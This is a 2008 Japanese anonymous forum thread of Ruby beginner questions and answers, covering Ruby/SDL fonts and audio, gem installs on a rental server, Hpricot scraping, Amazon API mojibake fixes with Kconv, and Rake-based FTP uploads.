850 名前:デフォルトの名無しさん mailto:sage [2008/02/14(木) 20:27:32 ] >>848 俺の環境ではそういった現象は起こっていない(半角は半角幅で出力される) もう少しkwsk
851 名前:デフォルトの名無しさん mailto:sage [2008/02/14(木) 20:35:06 ] フォントによってはそうなるよ ruby/sdlではなくfreetypeの仕様っぽい プロポーショナルなフォント使えば大丈夫だったと思う
852 名前:848 mailto:sage [2008/02/14(木) 20:49:34 ] ソース出した方が早そうですね フォントはIPAゴシックです SDL.init(SDL::INIT_EVERYTHING) screen = SDL.set_video_mode(SCREEN_W, SCREEN_H, 16, SDL::SWSURFACE) SDL::TTF.init font = SDL::TTF.open("IPAFont/ipag.ttf", 24) font.style = SDL::TTF::STYLE_ITALIC font.draw_blended_utf8(screen, "abc", 0, 32, 255, 255, 255) これで全角幅で出ます(Pゴシックも同じ) 「abc」でなく「a b c」という感じ
853 名前:848 mailto:sage [2008/02/15(金) 03:47:05 ] レスどうもです 色々試しましたがどうもフォント依存の問題みたいですね Arialだと普通に間合いが詰まってましたし …しかし日本語フォントで サイズ一定以下にすると表示がバグるとか不具合もあるようで これ本当にゲーム作れるのか…?
854 名前:デフォルトの名無しさん mailto:sage [2008/02/15(金) 04:07:32 ] >>835 ここで愚痴るより作者にメールを送れYO! 反応のある確率はここより低いかもしれんが、 もしあった場合より的確な答が返ってくるだろうし パッチも当たるかもしれないじゃん。
855 名前:デフォルトの名無しさん mailto:sage [2008/02/15(金) 04:33:18 ] 追試してみたけどそもそも文字が出ないw なにがわるいんだろ?
856 名前:デフォルトの名無しさん mailto:sage [2008/02/15(金) 15:31:04 ] かなり亀だが >>797 case h when h.has_key?(:param1) ... これって期待通りの動作しなくね?
857 名前:デフォルトの名無しさん mailto:sage [2008/02/15(金) 16:07:58 ] h === h.has_key?(:param1) って何が起こるの?
858 名前:デフォルトの名無しさん mailto:sage [2008/02/15(金) 16:10:42 ] あ、逆か。 h.has_key?(:param1) === h って何が起こるの?
859 名前:デフォルトの名無しさん mailto:sage [2008/02/15(金) 16:43:47 ] そのまんまだよ h が === 的に true と同一なら true、同一でないなら false が返る Hash は TrueClass に属してないから常に false だね
860 名前:デフォルトの名無しさん mailto:sage [2008/02/15(金) 16:46:09 ] 変な書き方だった Hash は TrueClass にも FalseClass にも属してないから結果は常に false だね に変更
861 名前:デフォルトの名無しさん mailto:sage [2008/02/15(金) 19:22:31 ] 休刊になったLinux Magazine全部入りDVDを入手 Matz御大による、初等Ruby講座(と探訪Ruby)の 存在を知り拝読(中) しっかし、なんつーわかりやすさなんでしょう なんでもないと思ってたとこでも 目からうろこが、ぽろぽろぽろぽろ… 開発者自身の手でここまでやさしく書かれた ドキュメントがあったなんて!と ちょっと感動しました 過ぎるほど今更ですみません
862 名前:デフォルトの名無しさん mailto:sage [2008/02/15(金) 20:21:59 ] >>858 逆じゃないよ。(when式)===(case結果)で合ってる。
863 名前:デフォルトの名無しさん mailto:sage [2008/02/15(金) 21:33:48 ] >>862 だから>>858 はそう書いてるんじゃないか?
864 名前:デフォルトの名無しさん mailto:sage [2008/02/15(金) 21:49:36 ] case h じゃなくて case なんだろうね。
865 名前:デフォルトの名無しさん mailto:sage [2008/02/15(金) 22:13:01 ] gem install したときに 所有者 root でインストールしようとするのを止めさせることはできますか? $ gem install --no-ri --no-rdoc hpricot make cc -I. -I. -I/usr/local/lib/ruby/1.8/i386-freebsd6 -I. -fPIC -O2 -fno-strict-aliasing -pipe -fPIC -c hpricot_scan.c cc -shared -Wl,-soname,hpricot_scan.so -L'/usr/local/lib' -Wl,-R'/usr/local/lib' -o hpricot_scan.so hpricot_scan.o \ -Wl,-R -Wl,/usr/local/lib -L/usr/local/lib -L. -lruby18 -lc -lcrypt -lm -pthread -lc make install /usr/bin/install -c -o root -g wheel -m 0755 hpricot_scan.so /home/俺/rubygems/gems/hpricot-0.6/lib/i686-linux install: /home/俺/rubygems/gems/hpricot-0.6/lib/i686-linux/hpricot_scan.so: chown/chgrp: Operation not permitted *** Error code 71
866 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 00:35:29 ] 原因が絞られたので再質問します Ruby1.8.5にて、ユーザー権限でgem install hpricotしようと思いました。 しかし、root権限でインストールしようとしてしまってうまくいきません。 /usr/bin/install -c -o root -g wheel -m 0755 hpricot_scan.so レンタルサーバ(さくら)なので rbconfig の CONFIG の INSTALLキーに /usr/bin/install -c -o root -g wheel という文字列が入ってしまってるからのようです。 これを変更した上でgem install を実行させることはできますか?
867 名前:866 mailto:sage [2008/02/16(土) 01:25:16 ] あーできたー。っていうかこれ罠っぽい… さくらインターネットでrubygemsのインストールでコケる場合の対処 /usr/local/lib/ruby/1.8/i386-freebsd6/rbconfig.rb を見ると > CONFIG["INSTALL"] = ENV['RB_USER_INSTALL'] ? '/usr/bin/install -c' : '/usr/bin/install -c -o root -g wheel' とかいう記述がある よって setenv RB_USER_INSTALL true とかコマンドラインで入力してから rubugemsをインストールすればいい (試してないけどたぶんrubygemsのインストール時1回のみでおk) あーもう寝る
868 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 02:52:50 ] >>861 宗教じみてるので釣りかと思った
869 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 02:58:43 ] >>861 そんなに分かりやすいのか・・・買う価値ありかね?
870 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 03:48:49 ] 初めて知ったが、そもそもLinux Magazineぜんぶ入りが買いじゃね? >>866-867 さくらの共有?Railsまともにうごきます?
871 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 04:21:29 ] でももう2年前の話だしなぁ・・・休刊。 まだVineが人気の時代じゃね?
872 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 10:07:47 ] >>870 FastCGI入ってないけどそれでもよければ
873 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 10:16:34 ] Webサービスとして使うのは問題外ってことだな 自分用かバックグラウンド動作用か
874 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 11:15:37 ] % time python -c 'range(0,10000000).sort' 0.769u 1.022s 0:01.79 99.4% 0+0k 0+0io 0pf+0w % time ruby -e '(0...10000000).sort' 3.170u 0.259s 0:03.42 100.0% 0+0k 0+0io 0pf+0w
875 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 11:58:20 ] >>872 まともに使えない上に、同じ鯖の人に迷惑になりそうな(´・ω・`)
876 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 12:02:23 ] どっかのページで、CGI版でも高速動作させるって方法があったけど、 結局、プロセスをしばらく立ちあげといてって方法なので、レンサバだと無理そうだった・・・ CGIでRailsをまともに動かす - 古橋貞之の日記 d.hatena.ne.jp/viver/20080209/p1
877 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 13:00:28 ] 以前からずううううっと気になってたんだけどさ file = open('test.txt','r').read とか file = File.open('test.txt','r').read ってしたときって、test.txtを開いたときに使ったIOオブジェクトってcloseされてる? readの中で実はブロックとか使っててcloseしてるとか
878 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 13:06:30 ] >>877 close はしてないので File.read("test.txt") を使ったほうがいい。 バイナリモードの指定ができないくそインターフェイスだけど。
879 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 13:18:18 ] あるいは、長くなってもいいなら content = open(...) {|io| io.read }
880 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 13:26:21 ] File.open(path).read は「動くけどあまり好ましくない書き方」のひとつだな
881 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 13:47:03 ] 参照カウンタの方がスクリプト言語にはあうね
882 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 13:52:34 ] やっぱり、そんなには知られていなかったんですね>Matzの連載 私も知らずに手に入れたんですけど 初等講座が190ページ、探訪が96ページ 雑誌連載ならではの密度(基本2段組でビッシリ)ですので これ目当てで買っても損はないかと思います。 ただ、PDFの2段組は読みづらいです。 私はスレタイどおりの初心者なので 正直、中盤以降はナナメ読みになりましたが ハッシュと正規表現の置換のところで そう書いてくれればわかる!という開発者ならではの 曇りのない記述に出会えたので これだけで個人的には得した気分です。
883 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 14:04:34 ] 何の本の話ですか?
884 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 14:05:15 ] >>861 じゃね?
885 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 14:05:32 ] 861 デフォルトの名無しさん [sage] Date:2008/02/15(金) 19:22:31 ID: Be: 休刊になったLinux Magazine全部入りDVDを入手 Matz御大による、初等Ruby講座(と探訪Ruby)の 存在を知り拝読(中)
886 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 14:06:09 ] ありがとう 失礼しました
887 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 14:07:33 ] >初等講座が190ページ、探訪が96ページ >雑誌連載ならではの密度(基本2段組でビッシリ)ですので >これ目当てで買っても損はないかと思います。 ここだけ出版される予定はないの?
888 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 14:08:06 ] 出たら買うかも
889 名前:デフォルトの名無しさん [2008/02/16(土) 14:16:30 ] 生 ruby-sapporo.org/live
890 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 14:18:56 ] >>861 の感想とかこのところ荒みっぱなしのMatzに読ませてやりたいな
891 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 15:51:50 ] Hpricotを半日いじった結果、 「そのサイト専用の正規表現使ってHTMLからdivやtable単位でscanで切り出して配列にしさらに正規表現で切り出す」 ということをしたほうが速いということに至った もっと一般的なことするまでさよならHpricot
892 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 16:33:24 ] 初等Ruby講座 第1回 はじめの一歩 第2回 条件判断とループ 第3回 オブジェクトと変数 第4回 配列 第5回 ハッシュ(または連想配列) 第6回 文字列の操作 第7回 パターンマッチ 第8回 入出力 第9回 数と電卓 第10回 CGI 第11回 Rubyで作るCGI 第12回 CGIの道具箱 第13回 ファイル処理 第14回 ネットワークプログラミング 番外編 Rubyカンファレンスレポート 第15回 プロセスとフォーク 第16回 スレッド(その1) 第17回 スレッド(その2) 第18回 データの保存 第19回 XMLとYAML 第20回 XMLとYAML(その2) 第21回 エクストリーム・プログラミング 第22回 独習Ruby 第23回 再入門オブジェクト指向 最終回 ここからのRuby
893 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 16:34:31 ] 探訪Ruby 第1回 Rubyの国へようこそ 第2回 テスト第一主義 第3回 Wiki Wiki 第4回 Blogの世界 第5回 アスペクト指向 第6回 RubyとEmacs 第7回 Instiki 第8回 テンプレート 第9回 DBM 第10回 tDiary 第11回 Webアプリケーションの基礎 第12回 Webアプリケーションの基礎(その2) 第13回 Webアプリケーションフレームワーク 第14回 マークアップ・マークダウン 第15回 ダイコン 最終回 ネタのタネ
894 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 18:25:28 ] >>891 WWW::Mechanizeもそうだけど、ドキュメントがないからどうやったら早いのかわかりずらいよね。 俺も苦労した。 ただいっておくけど、 > 「そのサイト専用の正規表現使ってHTMLからdivやtable単位でscanで切り出して > 配列にしさらに正規表現で切り出す」 ってのが楽にできるのが、Hpricotですよ。
895 名前:デフォルトの名無しさん mailto:sage [2008/02/16(土) 20:28:24 ] 楽さか速度のどっちを選ぶかだね。
896 名前:デフォルトの名無しさん mailto:sage [2008/02/17(日) 05:08:19 ] >>894 でいかにもな感じで勧めてみたのだが・・・ >>891 みたいな、「それ今知っている技術でやった方が早いよ」と思う人にはやはり勧められない。 文句言うだけなので、やめておいた方がいい。 Hpricotは、半分は「おおーすげー」って感動するためにあるようなものでし、 基本この手のライブラリは、ソース読まないとまともに使えないし、 とにかく早く(速くじゃないよ)やりたいなら、 導入コストがでかいので、gemで入るような既存のライブラリを使うことは勧めない。
897 名前:デフォルトの名無しさん mailto:sage [2008/02/17(日) 05:30:32 ] rubyでXMLを扱うのに速度の速いライブラリはありますか? rexmlを使うと10秒近くかかるので 最低限の機能としてはXPATHが使えればいいです。
898 名前:デフォルトの名無しさん mailto:sage [2008/02/17(日) 05:43:42 ] Hpricotはここ見れば簡単にわかるだろう mono.kmc.gr.jp/~yhara/rubyscraping/?Hpricot
899 名前:デフォルトの名無しさん mailto:sage [2008/02/17(日) 09:38:02 ] そんなお前らに超オススメ scrAPI wota.jp/ac/?date=20070115#p01
900 名前:デフォルトの名無しさん mailto:sage [2008/02/17(日) 10:57:19 ] Hpricotは「抜き出したい範囲の終わりの文字列」が特徴的で自明なときは非効率 html.scan(/<table class="nested"><tr><td>(.+?)<\/tr><\/td><\/table>\r\n<div class="box1/) みたいな感じ 「どう言っても対応する</div>だとしか言えない」とかいう場合はHpricotのようなパーサの出番 あとHpricotを使っておきながらto_htmlしたものとかを正規表現でscanしたら負けなのでよろしく
901 名前:デフォルトの名無しさん mailto:sage [2008/02/17(日) 11:03:30 ] >>892-893 Rubyの記事だけ抜き出してうんこpdfの段組をばらして htmに変換してついでにHTML Help形式にもコンバートして売って欲しい・・・
902 名前:デフォルトの名無しさん mailto:sage [2008/02/17(日) 11:08:50 ] >>897 HpricotのXMLモードかlibxml-ruby
903 名前:デフォルトの名無しさん mailto:sage [2008/02/17(日) 11:44:50 ] >>897 Hpricotが拡張ライブラリ使ってるから早いんじゃね? 使ったことはないが
904 名前:デフォルトの名無しさん mailto:sage [2008/02/17(日) 15:20:46 ] expect.rb は標準で入っているんですか? ActiveSriptRuby で入れた ruby 1.8.6 には入っていないようです。
905 名前:デフォルトの名無しさん mailto:sage [2008/02/17(日) 15:55:12 ] >>902 Hpricotインストールしてみたけどまだ5秒ぐらいかかる。 libxml-rubyはgemでインストールしようとしたらエラーが出たので挫折。 ただHipricotより圧倒的に速そうだ。
906 名前:デフォルトの名無しさん mailto:sage [2008/02/17(日) 16:12:42 ] >904 pty拡張の一部なので(ext/pty/lib/expect.rb)、 ptyのないシステムには入っていないかも知れない。
907 名前:デフォルトの名無しさん mailto:sage [2008/02/17(日) 21:04:17 ] Rubyをシュミで使うくらいには初心者から片足抜けたんだけど、 お勧めの面白そうな言語ある? PerlとCとJavaは除外で
908 名前:デフォルトの名無しさん mailto:sage [2008/02/17(日) 21:05:34 ] Python
909 名前:デフォルトの名無しさん mailto:sage [2008/02/17(日) 21:11:07 ] 最近はlispをたしなむのが流行らしい。
910 名前:デフォルトの名無しさん mailto:sage [2008/02/17(日) 21:18:30 ] Schemeあたりに触れて「面白いけど使えねー」と嘆き Haskellあたりを食い散らかして「作れるもんねーよ」と嘆く そしてRubyに戻ってくると…「俺こんな汚いコードや粗悪なアルゴリズム書いてたのか!」 とりあえずはLisp系列か関数型言語のどっちかだろ
911 名前:デフォルトの名無しさん mailto:sage [2008/02/17(日) 21:58:41 ] Pythonは変な意味で被らないか
912 名前:デフォルトの名無しさん mailto:sage [2008/02/17(日) 22:28:38 ] すいません、教えてください。 @one, @two, @three, @four, @five ... とインスタンス変数をたくさん持ったオブジェクトAがあり、 @one, @two, @three というように上の一部に対応するインスタンス変数(のみ)を 持ったオブジェクトBがあります。 Bのインスタンス変数すべてが対応するAのそれと同じ対象を 参照していればtrue、そうでなければfalseを返すメソッドが ほしいのですが、どうすればキレイに書けるでしょうか?
913 名前:デフォルトの名無しさん mailto:sage [2008/02/17(日) 22:29:32 ] TOOWTDIな世界に触れてみるのは悪くないと思う
914 名前:デフォルトの名無しさん mailto:sage [2008/02/17(日) 22:33:31 ] >>913 なんかの書き間違いかと思ったら、パイクソかよ。
915 名前:デフォルトの名無しさん mailto:sage [2008/02/17(日) 22:53:00 ] >>912 そういう全比較の結果に頼らなければならないこと自体が何か非常にまずい
916 名前:デフォルトの名無しさん mailto:sage [2008/02/17(日) 22:57:00 ] >>912 よくわかんないけど、Object#instance_variables とか Object#instance_variable_get とか使えばいいんじゃないか。 a = A.new b = B.new b.instance_variables.each do |varname| val = b.instance_variable_get(varname) if val != a.instance_variable_get(varname) puts "b.#{varname} != a.#{varname}" break end end
917 名前:912 mailto:sage [2008/02/17(日) 23:09:35 ] >>915 自分もそんな気はしてたんですが、アプリの終了時に 上書き保存のダイアログを出すかどうか調べる方法として、 こんなへたれロジックしか思いつきませんでした・・・。 >>916 これ、いただきます。感謝です。リフレクション系のメソッドが なかなか自然に浮かんできません。修行します・・・。
918 名前:デフォルトの名無しさん mailto:sage [2008/02/18(月) 00:08:57 ] >>917 もっといい方法があるはず リフレクション無しでやれないかどうか、頭を捻って考えるべき どうしても思いつかないなら、ここでソース(or具体的なクラス構成)を提示して 「どんな方法があるか」を質問すればいい
919 名前:デフォルトの名無しさん mailto:sage [2008/02/18(月) 01:34:54 ] AとBで共通に参照してる変数群が表す情報は オブジェクトで表現してみるとか。比較一つでいいし。 関係ないこと纏めてもしゃーないからやっぱ 設計しだいだけど
920 名前:デフォルトの名無しさん mailto:sage [2008/02/18(月) 05:45:53 ] >>917 変更した時にフラグを立てることは出来んの?
921 名前:デフォルトの名無しさん mailto:sage [2008/02/18(月) 09:10:09 ] >>916 カプセル化の意味ねー。
922 名前:デフォルトの名無しさん mailto:sage [2008/02/18(月) 09:11:50 ] MIX-INってどうなったの。 rubyといえばMIX-INって記憶してるんだけど。
923 名前:912 mailto:sage [2008/02/18(月) 09:37:09 ] >>918 リフレクション無しでというのが基本なんですよね。 もいっかい考えてみます。またよろしくです。 >>919 オブジェクトで表現して比較というのは考えたんですが、 どうやったら同一性を定義できるのかわからなくなって とりあえず変数比較でお茶をにごした次第です。 >>920 undo/redoを実装していて、どっちみちオブジェクトの状態を 保存しておく必要があってフラグにはしませんでした。 でもやっぱりあったほうがいいのかも。
924 名前:デフォルトの名無しさん mailto:sage [2008/02/18(月) 10:05:24 ] 同一性は==でいいと思うんだが…
925 名前:デフォルトの名無しさん mailto:sage [2008/02/18(月) 10:14:38 ] >>924
926 名前:912 mailto:sage [2008/02/18(月) 11:24:18 ] >>どうやったら同一性を定義できるのかわからなくなって オブジェクト自体じゃなくて変数の参照先の同一性の間違いです。 が、考えてみると普通に一個一個見ていけばいいだけですね。 そうすると面倒くさくなってやっぱり916がいいような気が。
927 名前:デフォルトの名無しさん mailto:sage [2008/02/18(月) 11:42:06 ] そんなん==を再定義すればいい。 instace_variable_get使うつもりだったのをオブジェクトにして、 アクセサつけてprotectedにして。
928 名前:デフォルトの名無しさん [2008/02/18(月) 11:42:18 ] 文字化けします。助けて ・出力結果 news23.org/pict/news7342.jpg ・環境 OS Windows 2000 使ったライブラリ raa.ruby-lang.org/project/ruby-amazon/ ruby 1.8.6 (2007-09-24 patchlevel 111) [i386-mswin32] ・文字コード ソースの文字コード sjis コマンドプロンプトの文字コード 932(sjis) ・出力メソッド print、puts、pでほとんど同じ ・実行 ruby -Ks amazos.rb (ソース中に文字コード指定なし)
929 名前:デフォルトの名無しさん [2008/02/18(月) 11:52:25 ] >>928 自己解決しました require 'nkf' 出力したい文字列.tosjis
930 名前:デフォルトの名無しさん mailto:sage [2008/02/18(月) 19:52:14 ] Unicode を SJIS で出力してる風な文字化けだなあ
931 名前:デフォルトの名無しさん mailto:sage [2008/02/18(月) 20:13:49 ] >>930 いやそのまんまだし 元のXMLを自力で解析してれば文字列がUTF-8のままだって気づいたんだろうけどね 初心者が一足飛びにモジュールだけ使うのも考えもんだな
932 名前:デフォルトの名無しさん mailto:sage [2008/02/18(月) 20:25:26 ] chcpコマンドを使ってる人を初めて見た
933 名前:デフォルトの名無しさん mailto:sage [2008/02/18(月) 21:27:03 ] Ruby/AmazonはREXML使ってるみたいだけど、REXMLってUTF-8以外の対応がいまいちだったような。
934 名前:デフォルトの名無しさん mailto:sage [2008/02/18(月) 21:38:16 ] UTF-8以外のXMLはレッドデータブック入りだから大丈夫
935 名前:デフォルトの名無しさん mailto:sage [2008/02/18(月) 21:38:32 ] UTF-8以外のXMLは要らない子だし
936 名前:デフォルトの名無しさん mailto:sage [2008/02/19(火) 00:52:15 ] 質問です。 www.ruby-lang.org に置いてあるマニュアルのスナップショット版(rd形式) を html に変換するにはどうすれば良いのでしょうか?
937 名前:デフォルトの名無しさん mailto:sage [2008/02/19(火) 00:53:56 ] RDのマニュアルとか見ればいいんじゃね?
938 名前:デフォルトの名無しさん mailto:sage [2008/02/19(火) 01:02:01 ] >>937 すみません。 RDのマニュアルはどこにありますか?
939 名前:デフォルトの名無しさん mailto:sage [2008/02/19(火) 01:20:41 ] というか普通のHTML版やHTMLヘルプ版では何かまずい?
940 名前:デフォルトの名無しさん mailto:sage [2008/02/19(火) 01:33:24 ] >>939 できれば最新版を参照したいので、スナップショットから HTML版を構築したいのです。
941 名前:デフォルトの名無しさん mailto:sage [2008/02/19(火) 07:10:47 ] >>917 GUIアプリだと、変更時にフラグを立てる Undoの実装などにコマンドパターンを使うから、 フラグ立てひとつ処理が増えたとしても影響ない
942 名前:デフォルトの名無しさん mailto:sage [2008/02/20(水) 16:36:58 ] VB6のような、DelphiのようなRubyがあったらなぁ あ...言ってみたかっただけです
943 名前:デフォルトの名無しさん mailto:sage [2008/02/20(水) 17:02:47 ] 「ディレクトリの中の更新済みのrbファイルだけをサーバにFTP転送する」 というのが手作業で面倒なのでrakeというものでやってみようと思いました …ファイルから2次的ファイルが生成されるようなやり方でないと記述できない? *.cと*.oのような
944 名前:デフォルトの名無しさん mailto:sage [2008/02/20(水) 17:10:49 ] >>943 よーわからんが、 「オブジェクトファイルより新しければコンパイル実行」 という判断の元になる「オブジェクトファイル」に該当するものが RubyスクリプトのFTP転送という仕事には存在しないから 新しいファイルだけを転送ということをさせることができなくね? という質問でいいか
945 名前:デフォルトの名無しさん mailto:sage [2008/02/20(水) 20:59:53 ] >>943 Rakeについてる rake/contrib/ftptools.rb がそれっぽいけど # This file is still under development and is not released for general use. だそうな Rake::FileTaskみたいにRake::Taskを継承して、タスクを実行する必要があるか 判定するメソッドneeded?を定義してやればできそう
946 名前:デフォルトの名無しさん mailto:sage [2008/02/20(水) 21:43:21 ] FTPは鯖にある日付がいまひとつ確実に取れないからねぇ。 相手側にシェルアカウントがあればそのまま、自宅にSSH鯖があればCGI経由で rsync/SSHとかできるけどね。
947 名前:デフォルトの名無しさん mailto:sage [2008/02/20(水) 22:01:26 ] ローカルにインストール用ディレクトリとか作ってそこにコピーさせればいい ディレクトリにあるファイルより新しければFTP転送 Rubyスクリプトが大量にある場合はちと悲惨だが…
948 名前:デフォルトの名無しさん mailto:sage [2008/02/20(水) 22:14:03 ] 単に転送終わったときにタイムスタンプ用のファイルをtouch。 次回はそのファイルより新しいものだけを転送。 でいいじゃん。
949 名前:デフォルトの名無しさん mailto:sage [2008/02/20(水) 22:17:50 ] Rake使ってみたいって言ってんじゃんよ
950 名前:デフォルトの名無しさん mailto:sage [2008/02/20(水) 22:49:55 ] 950を踏んだ訳だが
951 名前:デフォルトの名無しさん mailto:sage [2008/02/20(水) 23:03:55 ] 踏む前に書いたくせに! 踏む前に書いたくせに!
952 名前:デフォルトの名無しさん mailto:sage [2008/02/20(水) 23:41:46 ] うむ >>950 流れが速いわけじゃないし埋めるのも手間だし別に970とか980とかでもいいような気もする
953 名前:デフォルトの名無しさん mailto:sage [2008/02/20(水) 23:59:39 ] >>949 別に使わなくてもいいよ いや真面目な話、Rakeの依存解決が使えない場面なんていくらでもある そういう場合は無理にRakeの機能に頼らなくてもいい
954 名前:デフォルトの名無しさん mailto:sage [2008/02/21(木) 01:29:52 ] 俺だってRakeの中にrsyncでサーバー(つってもsambaだがwww)と差分同期とるのを書いて ふだんから使ってるぜ
955 名前:デフォルトの名無しさん mailto:sage [2008/02/21(木) 14:01:50 ] VB(6)はともかく、Delphiに関しては Matzはどう思ってるんだろう? 個人的には、まともにオブジェクトを指向した 最初の環境はDelだったりする 塚越一雄著「Delphiオブジェクト指向プログラミング」 には足向けて寝られない これが本当に役に立ったのは他でもないRubyでなんだけど
956 名前:デフォルトの名無しさん [2008/02/21(木) 18:22:25 ] amazon API を使ったときの日本語の文字化けを直す方法を教えてください。 ttp://diaspar.jp/node/5 にある、amazon APIのサンプルを実行したら、 2008-05-28 : 0132084945 : Intro to Java Programming, Comprehensive 2008-02-29 : 4797346418 : 繧・&縺励>PHP 繧・&縺励>繧キ繝ェ繝シ繧コ のように日本語が文字化けしてしまいます。 Windows XP, Ruby 1.8.2 なので頭に、 #! -Ks としています。
957 名前:デフォルトの名無しさん mailto:sage [2008/02/21(木) 18:24:52 ] 変換すりゃいいべ
958 名前:デフォルトの名無しさん mailto:sage [2008/02/21(木) 18:44:45 ] だから>>931 だって Amazonが何を出力してるか理解してない人は利用禁止 普通にAWSとか勉強してからおもむろに便利に使うべし
959 名前:956 mailto:sage [2008/02/21(木) 19:15:42 ] や、こんなすぐ上にあるとは失礼しました。 require 'kconv' Kconv.tosjis(変換したい文字列) で解決しました。 >>958 まぁ、そう言わないでくださいよ。
960 名前:デフォルトの名無しさん mailto:sage [2008/02/21(木) 22:00:53 ] よくわからんけど、普通にブラウザ使っていて、文字化けしてエンコードを自分で変えたりして、 文字のエンコードの存在をしることってあると思うんだけど ネット使わないのかな
961 名前:デフォルトの名無しさん mailto:sage [2008/02/21(木) 22:04:32 ] 最近のブラウザは推測精度が上がってるんだよきっと
962 名前:デフォルトの名無しさん mailto:sage [2008/02/21(木) 22:48:36 ] AmazonのAWSって自分のID使わなくていいのか? と思ってみたり。 hikiのプラグインにしてもライブラリ公開して自分のIDをデフォにするってなんかコスイような・・・ ・・・まぁ好きにすればいいよね。
963 名前:デフォルトの名無しさん mailto:sage [2008/02/21(木) 23:22:45 ] >961 確かに実際、最近ブラウザのエンコーディング手で切り替えた経験がないわ あるいはUTF-8のページが増えてきて、とりあえずビールならぬとりあえずUTF-8 って方式が当たるようになってきたのかも
964 名前:デフォルトの名無しさん mailto:sage [2008/02/21(木) 23:26:29 ] 最近でも切り替えた経験あり過ぎて困る。
965 名前:デフォルトの名無しさん mailto:sage [2008/02/21(木) 23:28:16 ] 定番のホームページビルダー(笑)で自分で作る人が少なくなって ホスティングタイプのブログへ流れたからかな。
966 名前:デフォルトの名無しさん mailto:sage [2008/02/21(木) 23:39:10 ] firefoxは賢いよね。IEはよく化けるけど。
967 名前:デフォルトの名無しさん mailto:sage [2008/02/21(木) 23:41:35 ] その firefox でも切り替えまくってるんだが・・・。 特に Boost 日本語訳のページとかひどいもんだ・・・。
968 名前:デフォルトの名無しさん mailto:sage [2008/02/21(木) 23:44:15 ] IEは増えてきた UTF-8 が化けまくるから困る
969 名前:デフォルトの名無しさん mailto:sage [2008/02/22(金) 00:05:44 ] 英語圏以外の海外のページと日本語ページを交互によく見ると 素晴らしい文字コード認識精度をはじき出してくれますよ
970 名前:デフォルトの名無しさん mailto:sage [2008/02/22(金) 00:07:19 ] 認識も何もヘッダで宣言してある通りに解釈するんじゃないの? UTF-8って宣言してるのにShift_jisで書いちゃったりしてるわけ?
971 名前:デフォルトの名無しさん mailto:sage [2008/02/22(金) 00:09:09 ] 宣言してないページはよく化ける
972 名前:デフォルトの名無しさん mailto:sage [2008/02/22(金) 00:34:46 ] HTMLのヘッダで宣言されててもシカトされる事がある .htaccessなら多分シカトされない
973 名前:デフォルトの名無しさん mailto:sage [2008/02/22(金) 01:06:52 ] CGI配布サイトでサンプルCGIを動かしたら文字化け多いのはあるな
974 名前:デフォルトの名無しさん mailto:sage [2008/02/22(金) 01:14:10 ] ・HTTPヘッダのContent-Type ・HTMLのmeta http-equiv ・実際の文字コード 全部ばらばらとかなー。一応優先順位はあった気がするんだが。 確実に判定出来るコードの文字からなる語句(「美乳」とかがそうらしい)を HTMLの中にコメントで埋めるとかいう小技があった時代も。
975 名前:デフォルトの名無しさん mailto:sage [2008/02/22(金) 01:16:12 ] 貧乳が好みなんですがダメですか?
976 名前:デフォルトの名無しさん [2008/02/22(金) 05:16:05 ] >>974 海外のプログラマが美乳好きだっただけなんじゃね?
977 名前:デフォルトの名無しさん mailto:sage [2008/02/22(金) 05:34:05 ] >>967 あれは馬鹿除けのためにわざとやってるという噂だが
978 名前:デフォルトの名無しさん mailto:sage [2008/02/22(金) 05:37:16 ] >>972 それはApacheの設定ミスだなw
979 名前:デフォルトの名無しさん mailto:sage [2008/02/22(金) 05:53:43 ] >>974 美乳テーブルな。あれは EUC 決め撃ち用だよ。
980 名前:デフォルトの名無しさん mailto:sage [2008/02/22(金) 08:27:16 ] 標準添付ライブラリでrdocが綺麗に書かれてるのってどれですかいな? 参考にしたいんだけど
981 名前:デフォルトの名無しさん mailto:sage [2008/02/22(金) 09:21:46 ] >>980 そりゃRDoc自身だろ
982 名前:デフォルトの名無しさん mailto:sage [2008/02/22(金) 10:06:11 ] Ruby/SDLについての質問です require 'sdl' SDL.init(SDL::INIT_AUDIO) SDL::Mixer.open input = open('test.wav', 'rb') SDL::Mixer::Wave.load_from_io(input) 以上のようなコードを実行すると、load_from
983 名前:982 mailto:sage [2008/02/22(金) 10:12:03 ] すみません、途中で誤送信してしまいました (続き) 以上のようなコードを実行すると、load_from_ioのところで cannnot seek backward (SDL::Error) というエラーになってしまうのですが、「後方を探せない」というのはどういうエラーなのでしょうか? 後方互換性絡みの何かがあるのでしょうか? 環境は以下の通りです ruby 1.8.5 (2006-12-25 patchlevel 12) [i386-mswin32] SDL1.3.1(Windowsバイナリ版)
984 名前:982 mailto:sage [2008/02/22(金) 10:20:58 ] 追記 もしかしてと思い、rubyを1.8.6最新版にしてみましたが、結果は同じでした
985 名前:デフォルトの名無しさん mailto:sage [2008/02/22(金) 10:54:23 ] ところでそろそろ980あたりに次スレを立ててほしいわけだが
